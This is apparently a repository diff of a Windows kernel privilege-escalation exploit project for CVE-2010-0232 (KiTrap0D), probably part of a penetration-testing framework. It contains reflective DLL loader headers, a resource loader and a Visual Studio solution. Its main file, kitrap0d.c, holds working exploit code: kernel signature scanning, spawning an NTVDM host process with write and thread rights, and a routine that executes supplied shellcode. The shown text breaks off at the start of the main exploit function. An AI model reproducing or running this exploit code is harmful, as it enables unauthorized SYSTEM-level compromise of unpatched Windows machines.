#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD _hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,89 @@
|
|||
/*!
|
||||
* @file ResourceLoader.c
|
||||
* @brief Helper functions for loading embedded resources.
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include "common.h"
|
||||
|
||||
/*!
|
||||
* @brief Load a resource from the given module as a raw array of bytes.
|
||||
* @param hModule Handle to the module containing the resource.
|
||||
* @param uResourceId ID of the resource to load.
|
||||
* @param lpType The type of resource being loaded.
|
||||
* @param pBuffer Pointer to the buffer that will receive the loaded resource.
|
||||
* @param pBufferSize Pointer to the variable that will receive the size of \c pBuffer.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPBYTE* pBuffer, LPDWORD pBufferSize)
|
||||
{
|
||||
DWORD dwResult = FALSE;
|
||||
DWORD dwResourceSize = 0;
|
||||
LPBYTE pResource = NULL;
|
||||
HRSRC hResource = NULL;
|
||||
HGLOBAL hResData = NULL;
|
||||
LPVOID lpResData = NULL;
|
||||
|
||||
*pBuffer = NULL;
|
||||
*pBufferSize = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if ((hResource = FindResourceA(hModule, MAKEINTRESOURCEA(uResourceId), lpType)) == NULL) {
|
||||
dwResult = GetLastError();
|
||||
dprintf("[RES] Unable to find resource %d type %s", uResourceId, lpType);
|
||||
break;
|
||||
}
|
||||
|
||||
if ((dwResourceSize = SizeofResource(hModule, hResource)) == 0) {
|
||||
dwResult = GetLastError();
|
||||
dprintf("[RES] Unable to find resource size for %d type %s", uResourceId, lpType);
|
||||
break;
|
||||
}
|
||||
|
||||
if ((pResource = (LPBYTE)malloc(dwResourceSize)) == NULL) {
|
||||
dwResult = ERROR_NOT_ENOUGH_MEMORY;
|
||||
dprintf("[RES] Unable to allocate memory for resource %d type %s size %u", uResourceId, lpType, dwResourceSize);
|
||||
break;
|
||||
}
|
||||
|
||||
if ((hResData = LoadResource(hModule, hResource)) == NULL) {
|
||||
dwResult = GetLastError();
|
||||
dprintf("[RES] Unable to load resource for %d type %s", uResourceId, lpType);
|
||||
break;
|
||||
}
|
||||
|
||||
if ((lpResData = LockResource(hResData)) == NULL) {
|
||||
dwResult = GetLastError();
|
||||
dprintf("[RES] Unable to lock resource for %d type %s", uResourceId, lpType);
|
||||
break;
|
||||
}
|
||||
|
||||
memcpy_s(pResource, dwResourceSize, lpResData, dwResourceSize);
|
||||
|
||||
// Locked resource don't need to be unlocked. If we get here, we've won!
|
||||
dwResult = ERROR_SUCCESS;
|
||||
*pBuffer = lpResData;
|
||||
*pBufferSize = dwResourceSize;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (dwResult != ERROR_SUCCESS && pResource != NULL) {
|
||||
free(pResource);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Free up memory that was allocated when loading the resource.
|
||||
* @param lpBuffer Pointer to the allocated buffer.
|
||||
* @returns \c ERROR_SUCCESS
|
||||
*/
|
||||
DWORD resource_destroy(LPBYTE lpBuffer)
|
||||
{
|
||||
if (lpBuffer != NULL)
|
||||
{
|
||||
free(lpBuffer);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
/*!
|
||||
* @file ResourceLoader.h
|
||||
* @brief Declarations of helper functions for loading embedded resources.
|
||||
*/
|
||||
#ifndef _ESCALATE_RESOURCELOADER_H
|
||||
#define _ESCALATE_RESOURCELOADER_H
|
||||
|
||||
DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPBYTE* pBuffer, LPDWORD pBufferSize);
|
||||
DWORD resource_destroy(LPBYTE lpBuffer);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,46 @@
|
|||
#ifndef _ESCALATE_COMMON_H
|
||||
#define _ESCALATE_COMMON_H
|
||||
|
||||
/*! @brief When defined, debug output is enabled on Windows builds. */
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#else
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
|
||||
|
||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
/*! @brief Close a handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
/*!
|
||||
* @brief Output a debug string to the debug console.
|
||||
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
|
||||
*/
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kitrap0d", "kitrap0d\kitrap0d.vcxproj", "{6B678096-E18A-427A-A8A3-C268AD2E12B8}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D} = {DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kitrap0d_payload", "kitrap0d_payload\kitrap0d_payload.vcxproj", "{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Release|Win32.Build.0 = Release|Win32
|
||||
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,497 @@
|
|||
/*!
|
||||
* @file kitrap0d.c
|
||||
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
||||
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||
* @remark Known Bugs:
|
||||
* - Windows NT4 fails to map the NULL page, (exit code 'NTAV').
|
||||
* - Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
||||
* - Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
||||
*/
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../common/ReflectiveLoader.c"
|
||||
|
||||
#include <stdio.h>
|
||||
#include "../common/common.h"
|
||||
#include "../common/LoadLibraryR.h"
|
||||
#include "../common/ResourceLoader.h"
|
||||
#include "resource.h"
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief List of code signatures used when searching kernel memory.
|
||||
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
*/
|
||||
struct CodeSignature CodeSignatures[] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
||||
{ "", -1 }
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Scan the appropriate kernel image for the correct offset.
|
||||
* @retval TRUE An offset was found.
|
||||
* @retval FALSE An offset was not found.
|
||||
*/
|
||||
BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC NtQuerySystemInformation = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
|
||||
PBYTE ImageBase = NULL;
|
||||
HKEY MmHandle = NULL;
|
||||
OSVERSIONINFO os = { 0 };
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };
|
||||
DWORD PhysicalAddressExtensions = 0;
|
||||
DWORD DataSize = 0;
|
||||
ULONG i = 0;
|
||||
ULONG x = 0;
|
||||
|
||||
// List of versions we have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
do
|
||||
{
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (!hNtdll) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||
if (!NtQuerySystemInformation) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
if (!GetVersionEx(&os)) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");
|
||||
}
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
|
||||
|
||||
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
}
|
||||
if (os.dwMajorVersion == 5) {
|
||||
if (os.dwMinorVersion == 0) {
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
}
|
||||
if (os.dwMinorVersion == 1) {
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
}
|
||||
if (os.dwMinorVersion == 2) {
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
}
|
||||
}
|
||||
if (os.dwMajorVersion == 6) {
|
||||
if (os.dwMinorVersion == 0) {
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
}
|
||||
if (os.dwMinorVersion == 0) {
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
}
|
||||
if (os.dwMinorVersion == 1) {
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
}
|
||||
}
|
||||
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);
|
||||
|
||||
// Load the kernel image specified
|
||||
hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);
|
||||
if (!hKernel) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");
|
||||
}
|
||||
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE)hKernel;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);
|
||||
|
||||
for (x = 0;; x++)
|
||||
{
|
||||
if (CodeSignatures[x].Version == -1) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (CodeSignatures[x].Version != Version) {
|
||||
continue;
|
||||
}
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);
|
||||
|
||||
// Scan for the appropriate signature...
|
||||
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)
|
||||
{
|
||||
if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)
|
||||
{
|
||||
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);
|
||||
|
||||
*OffsetFromBase = i;
|
||||
|
||||
FreeLibrary(hKernel);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");
|
||||
|
||||
if (hKernel) {
|
||||
FreeLibrary(hKernel);
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Grab a useful Handle to NTVDM.
|
||||
* @param cpProgram Path to the program to invoke.
|
||||
* @param hProcess Pointer to the variable that will receive the process handle.
|
||||
* @retval TRUE Handle acquisition succeeded.
|
||||
* @retval TRUE Handle acquisition failed.
|
||||
*/
|
||||
BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
STARTUPINFO si = { 0 };
|
||||
ULONG i = 0;
|
||||
|
||||
do
|
||||
{
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
// Start the child process, which should invoke NTVDM...
|
||||
if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");
|
||||
}
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);
|
||||
|
||||
// Get more access
|
||||
*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);
|
||||
if (*hProcess == NULL)
|
||||
{
|
||||
TerminateProcess(pi.hProcess, 'SPWN');
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");
|
||||
}
|
||||
|
||||
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (dwResult == ERROR_SUCCESS) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Find a suitable exe to host the exploit in.
|
||||
* @param cpOutput Buffer that will contain the path to the executable which will
|
||||
* host the exploit.
|
||||
* @param dwOutputSize Size of the \c cpOutput buffer.
|
||||
* @retval TRUE Found a valid exe to host the exploit in.
|
||||
* @retval FALSE Unable to find a valid exe to host the exploit in.
|
||||
*/
|
||||
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
char cWinDir[MAX_PATH] = {0};
|
||||
DWORD dwIndex = 0;
|
||||
char * cpFiles[] = { "twunk_16.exe",
|
||||
"debug.exe",
|
||||
"system32\\debug.exe",
|
||||
NULL };
|
||||
|
||||
do
|
||||
{
|
||||
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
char * cpFileName = cpFiles[dwIndex];
|
||||
if( !cpFileName )
|
||||
break;
|
||||
|
||||
if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
|
||||
cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
|
||||
{
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
|
||||
|
||||
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
|
||||
return TRUE;
|
||||
|
||||
memset( cpOutput, 0, dwOutputSize );
|
||||
|
||||
dwIndex++;
|
||||
}
|
||||
|
||||
} while(0);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Helper thread function which runs the given payload directly.
|
||||
* @param lpPayload The payload shellcode to execute.
|
||||
* @returns \c ERROR_SUCCESS
|
||||
*/
|
||||
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||
{
|
||||
dprintf("[KITRAP0D] Payload thread started.");
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @breif Entry point for the KiTrap0D exploit.
|
||||
* @remark This is known as CVE-2010-0232.
|
||||
* @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.
|
||||
* @param lpPayload Pointer to the shellcode to run on successful exploitation.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The exploit worked as expected.
|
||||
* @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.
|
||||
*/
|
||||
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hVdm = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
LPVOID lpServiceBuffer = NULL;
|
||||
LPVOID lpRemoteCommandLine = NULL;
|
||||
char cWinDir[MAX_PATH] = { 0 };
|
||||
char cVdmPath[MAX_PATH] = { 0 };
|
||||
char cCommandLine[MAX_PATH] = { 0 };
|
||||
DWORD dwExitCode = 0;
|
||||
DWORD dwKernelBase = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwServiceLength = 0;
|
||||
|
||||
do
|
||||
{
|
||||
